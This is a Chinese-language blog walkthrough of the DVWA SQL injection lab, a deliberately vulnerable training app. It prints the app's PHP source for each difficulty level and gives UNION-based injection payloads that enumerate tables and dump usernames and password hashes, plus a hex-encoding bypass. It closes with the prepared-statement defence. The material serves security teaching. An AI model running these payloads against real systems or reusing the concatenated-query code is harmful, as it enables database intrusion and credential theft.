DVWA-SQL Injection(SQL隱碼攻擊)

yaolingyu1發表於2023-03-18

 

 SQL Injection,是指攻擊者透過注入惡意的SQL命令,破壞SQL查詢語句的。結構,從而達到執行惡意SQL語句的目的。

LOW:

程式碼審計:


SQL Injection Source
vulnerabilities/sqli/source/low.php
<?php
//isset() 用於檢查變數是否已設定並且非 NULL。
if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];
//在這裡沒有對我們傳進來的引數做任何檢查
    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Get results
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // Get values
                $first = $row["first_name"];
                $last  = $row["last_name"];

                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }

            mysqli_close($GLOBALS["___mysqli_ston"]);
            break;
        case SQLITE:
            global $sqlite_db_connection;

            #$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
            #$sqlite_db_connection->enableExceptions(true);

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            #print $query;
            try {
                $results = $sqlite_db_connection->query($query);
            } catch (Exception $e) {
                echo 'Caught exception: ' . $e->getMessage();
                exit();
            }

            if ($results) {
                while ($row = $results->fetchArray()) {
                    // Get values
                    $first = $row["first_name"];
                    $last  = $row["last_name"];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
            } else {
                echo "Error in fetch ".$sqlite_db->lastErrorMsg();
            }
            break;
    }
}

?>

由以上分析我們可以得知我們在注入式應採用字元注入的方式。

注意:

SQL 字元注入是指攻擊者透過輸入惡意字元來破壞應用程式的 SQL 語句。例如,攻擊者可以透過在輸入欄位中插入單引號或其他特殊字元來欺騙應用程式生成不安全的 SQL 查詢。攻擊者可以利用這種漏洞來執行惡意的 SQL 程式碼,例如刪除、修改或暴露資料庫中的資料。

數字型注入類似於 SQL 字元注入,但攻擊者試圖輸入惡意數字,而不是字元。例如,攻擊者可以透過輸入負數來欺騙應用程式生成不安全的算術計算。攻擊者可以利用這種漏洞來執行惡意程式碼,例如在應用程式中進行溢位攻擊,從而竊取資料。

漏洞利用:

(1)判斷欄位數。

我們使用order by 進行判斷欄位數, 至到order by 進行報錯時候就是欄位數。

1' or 1=1 order by 1 #

1' or 1=1 order by 2 #

1' or 1=1 order by 1 #

 

 

 由上得知,欄位數為2.

(2)確定顯示的欄位順序

1' union select 1,2 #

 

 

 (3)獲取當前資料庫

1' union select 1,database() #

 

 

 (4)獲取資料庫中的表

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

 

 

 得到兩張表guestbook,users

(5)獲取欄位名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

 

 

 說明users表中有8個欄位,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。

(6)獲取資料

1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

 

 

 資訊獲取結束,漏洞利用結束。

Medium:

程式碼審計:

SQL Injection Source
vulnerabilities/sqli/source/medium.php
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];
//使用 mysqli_real_escape_string() 函式來轉義單引號和雙引號等特殊字元
    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

            // Get results
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // Display values
                $first = $row["first_name"];
                $last  = $row["last_name"];

                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }
            break;
        case SQLITE:
            global $sqlite_db_connection;

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
            #print $query;
            try {
                $results = $sqlite_db_connection->query($query);
            } catch (Exception $e) {
                echo 'Caught exception: ' . $e->getMessage();
                exit();
            }

            if ($results) {
                while ($row = $results->fetchArray()) {
                    // Get values
                    $first = $row["first_name"];
                    $last  = $row["last_name"];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
            } else {
                echo "Error in fetch ".$sqlite_db->lastErrorMsg();
            }
            break;
    }
}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

同時我們發現在前端頁面設定了下拉選擇表單,控制使用者輸入。

 

 

 漏洞利用:

雖然前端使用了下拉選擇選單,但我們依然可以透過抓包改引數,提交惡意構造的查詢引數。

(1)判斷注入型別

這裡我們其實可以直接做出判斷,我們在上面已經進行了程式碼審計,發現mysqli_real_escape_string()函式的存在,那麼字元型注入肯定會遇到問題,我們直接進行數字型注入。

 

 

 因為前端使用下拉選單,所以我們得透過抓包修改引數。

(2)猜測欄位數,確定回顯欄位順序,獲取當前資料庫,獲取資料庫中的表

這四部分操作與Low級別差別不大,這裡只附上相關語句

1 order by 3 #

1 union select 1,2 #

1 union select 1,database() #

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

(3)獲取表中欄位名

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users ’#

 

 

 

 

 

 我們按照原來的思路構建了語句,但是發生了錯誤,是因為單引號被轉義,所以我們利用十六進位制繞過。

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #

 

 

 這裡附上指令碼

import binascii

input_string = "users"  # 待轉換的字串

# 使用 binascii 模組的 b2a_hex() 函式將字串轉換為十六進位制格式
hex_string = binascii.b2a_hex(input_string.encode('utf-8'))

print(hex_string)  # 輸出轉換後的十六進位制字串

(4)獲取資料

1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

 

 

  資訊獲取結束,漏洞利用結束。

High:

程式碼審計:

SQL Injection Source
vulnerabilities/sqli/source/high.php
<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
//LIMIT 1是一個SQL查詢中的限制語句,用於指定查詢結果集中的最大行數。在這段程式碼中,它用於限制查詢結果只返回一行資料,即根據會話ID獲取使用者的名字和姓氏。使用LIMT1可以提高查詢效率,並避免在查詢結果集中返回大量資料
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

            // Get results
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // Get values
                $first = $row["first_name"];
                $last  = $row["last_name"];

                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }

            ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
            break;
        case SQLITE:
            global $sqlite_db_connection;

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
            #print $query;
            try {
                $results = $sqlite_db_connection->query($query);
            } catch (Exception $e) {
                echo 'Caught exception: ' . $e->getMessage();
                exit();
            }

            if ($results) {
                while ($row = $results->fetchArray()) {
                    // Get values
                    $first = $row["first_name"];
                    $last  = $row["last_name"];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
            } else {
                echo "Error in fetch ".$sqlite_db->lastErrorMsg();
            }
            break;
    }
}

?>

 雖然新增了LIMIT 1,但是我們可以透過#將其註釋掉。注入過程和之前類似,在這裡不做額外演示。

Impossible:

程式碼審計:

SQL Injection Source
vulnerabilities/sqli/source/impossible.php
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    //isset()用於檢查變數是否已設定並且非 NULL。
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    /*checkToken() 是一個自定義函式,用於檢查傳遞的安全令牌是否有效,以確保請求不是惡意偽造的。
該函式接受三個引數:
user_token:從使用者請求中接收的安全令牌。
session_token:儲存在使用者會話中的安全令牌。
redirect:重定向的頁面 URL。
該函式將首先檢查 user_token 和 session_token 是否匹配。如果不匹配,則可能是 CSRF 攻擊,該函式將終止指令碼並列印錯誤訊息。如果匹配,則函式將返回 true。
該函式通常用於處理任何可能受到 CSRF 攻擊的操作(例如表單提交)。它是一種常見的安全技術,以確保請求來自預期的來源,並且使用者已經授權執行請求的操作。*?
*/
    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    //is_numeric用於檢查一個值是否為數字或數字字串。如果值為數字或數字字串,則該函式返回 true,否則返回 false。
    if(is_numeric( $id )) {
        $id = intval ($id);
        switch ($_DVWA['SQLI_DB']) {
            case MYSQL:
                // Check the database
                $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
                $data->bindParam( ':id', $id, PDO::PARAM_INT );
                $data->execute();
                $row = $data->fetch();

                // Make sure only 1 result is returneda
                if( $data->rowCount() == 1 ) {
                    // Get values
                    $first = $row[ 'first_name' ];
                    $last  = $row[ 'last_name' ];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
                break;
            case SQLITE:
                global $sqlite_db_connection;

                $stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );
                $stmt->bindValue(':id',$id,SQLITE3_INTEGER);
                $result = $stmt->execute();
                $result->finalize();
                if ($result !== false) {
                    // There is no way to get the number of rows returned
                    // This checks the number of columns (not rows) just
                    // as a precaution, but it won't stop someone dumping
                    // multiple rows and viewing them one at a time.

                    $num_columns = $result->numColumns();
                    if ($num_columns == 2) {
                        $row = $result->fetchArray();

                        // Get values
                        $first = $row[ 'first_name' ];
                        $last  = $row[ 'last_name' ];

                        // Feedback for end user
                        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                    }
                }

                break;
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

同時這段程式碼也使用了PDO技術,劃清了程式碼與資料的界限,有效防禦SQL隱碼攻擊,同時只有返回的查詢結果數量為一時,才會成功輸出,這樣就有效預防了“脫褲”,Anti-CSRFtoken機制的加入了進一步提高了安全性。

注:

PDO(PHP資料物件)是一種PHP擴充套件,它提供了一種抽象方式來訪問資料庫,而不必依賴於特定的資料庫型別。PDO支援多種資料庫型別,包括MySQL、SQLite、Oracle、PostgreSQL和SQL Server等。使用PDO可以實現更安全、更可移植和更靈活的資料訪問,同時減少了對資料庫的具體實現細節的依賴性。

使用PDO時,首先需要定義一個PDO連線物件,它包含有關資料庫連線的資訊,例如主機名、埠號、資料庫名稱、使用者名稱和密碼等。一旦建立連線,就可以透過執行SQL查詢來訪問資料庫。PDO提供了一組方法來準備和執行查詢,並返回結果集物件。可以使用繫結變數來防止SQL隱碼攻擊,並使用PDO事務來確保資料操作的原子性和一致性。

總之,PDO技術提供了一個更安全、更靈活和更可移植的資料庫訪問解決方案,可以幫助開發人員編寫更健壯和可維護的PHP應用程式。

相關文章